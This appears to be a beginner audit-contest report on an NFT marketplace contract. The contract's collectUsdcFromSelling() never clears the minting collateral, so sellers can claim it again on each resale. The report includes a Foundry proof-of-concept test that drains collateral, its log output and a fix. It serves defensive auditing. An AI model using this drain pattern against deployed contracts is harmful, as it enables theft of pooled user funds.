NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

### [H-1] `collectUsdcFromSelling()` does not clear `collateralForMinting`, allowing repeated collection of collateral across resales

Author Revealed upon completion

Description: After a successful sale, collectUsdcFromSelling() adds collateralForMinting[listing.tokenId] to the seller's payout but never resets it to zero. Each time the NFT is resold and collectUsdcFromSelling() is called, the same collateral amount is paid out again, draining the contract.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
// ...
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
amountToSeller += collateralToReturn;
usdc.safeTransfer(msg.sender, amountToSeller);
@> // collateralForMinting[listing.tokenId] is never set to 0
}

Impact: Every resale of an NFT allows the seller to claim the original minter's collateral again. The more times an NFT changes hands, the more USDC is drained from the contract.

Proof of Concept:

Each time an NFT is sold and collectUsdcFromSelling() is called, collateralForMinting[tokenId] is included in the payout but never reset. The same 20 USDC collateral is paid out to every seller in the chain.

Run forge test --match-test test_poc_H1 -vvv to see the following output:

Logs:
=== First Sale ===
collateralForMinting[6]: 20000000
Contract USDC: 220000000
After User A collects:
User A USDC: 119000000
collateralForMinting[6]: 20000000
Contract USDC: 101000000
=== Second Sale ===
After User B collects:
collateralForMinting[6]: 20000000
Contract USDC: 82000000

After User A collects, collateralForMinting[6] remains 20e6. When User B sells the same NFT and collects, the same 20 USDC is paid out again. The original 20 USDC collateral has now been paid out twice — and will continue to be paid on every subsequent resale.

PoC Test Code
function test_poc_H1_collateralClaimedMultipleTimes() public {
address buyer2 = makeAddr("buyer2");
usdc.mint(buyer2, 200e6);
​
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(userWithCash);
nftDealers.whitelistWallet(userWithEvenMoreCash);
vm.stopPrank();
​
// Seed contract with extra funds: 5 victims mint NFTs (100 USDC collateral total)
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 5 * 20e6);
for (uint256 i = 0; i < 5; i++) {
nftDealers.mintNft();
}
vm.stopPrank();
​
// User A mints tokenId=6, pays 20 USDC collateral
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
​
console.log("=== First Sale ===");
vm.prank(userWithCash);
nftDealers.list(6, uint32(100e6));
​
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 100e6);
nftDealers.buy(6);
vm.stopPrank();
​
console.log(" collateralForMinting[6]:", nftDealers.collateralForMinting(6));
console.log(" Contract USDC: ", usdc.balanceOf(address(nftDealers)));
​
// User A collects: price - fees + collateral = 100 - 1 + 20 = 119 USDC
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(6);
​
console.log("After User A collects:");
console.log(" User A USDC: ", usdc.balanceOf(userWithCash));
console.log(" collateralForMinting[6]:", nftDealers.collateralForMinting(6)); // still 20e6!
console.log(" Contract USDC: ", usdc.balanceOf(address(nftDealers)));
​
console.log("=== Second Sale ===");
vm.prank(userWithEvenMoreCash);
nftDealers.list(6, uint32(100e6));
​
vm.startPrank(buyer2);
usdc.approve(address(nftDealers), 100e6);
nftDealers.buy(6);
vm.stopPrank();
​
// User B collects: collateralForMinting[6] still = 20e6, paid out again
vm.prank(userWithEvenMoreCash);
nftDealers.collectUsdcFromSelling(6);
​
console.log("After User B collects:");
console.log(" collateralForMinting[6]:", nftDealers.collateralForMinting(6)); // still 20e6!
console.log(" Contract USDC: ", usdc.balanceOf(address(nftDealers)));
​
// The same 20 USDC collateral was paid out twice (once to A, once to B)
uint256 fees = nftDealers.calculateFees(100e6);
assertEq(usdc.balanceOf(userWithCash), 100e6 - fees + 20e6);
assertEq(nftDealers.collateralForMinting(6), 20e6); // still not cleared
}

Recommended Mitigation: Add collateralForMinting[listing.tokenId] = 0; after transferring the collateral to the seller.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
// ...
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
amountToSeller += collateralToReturn;
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!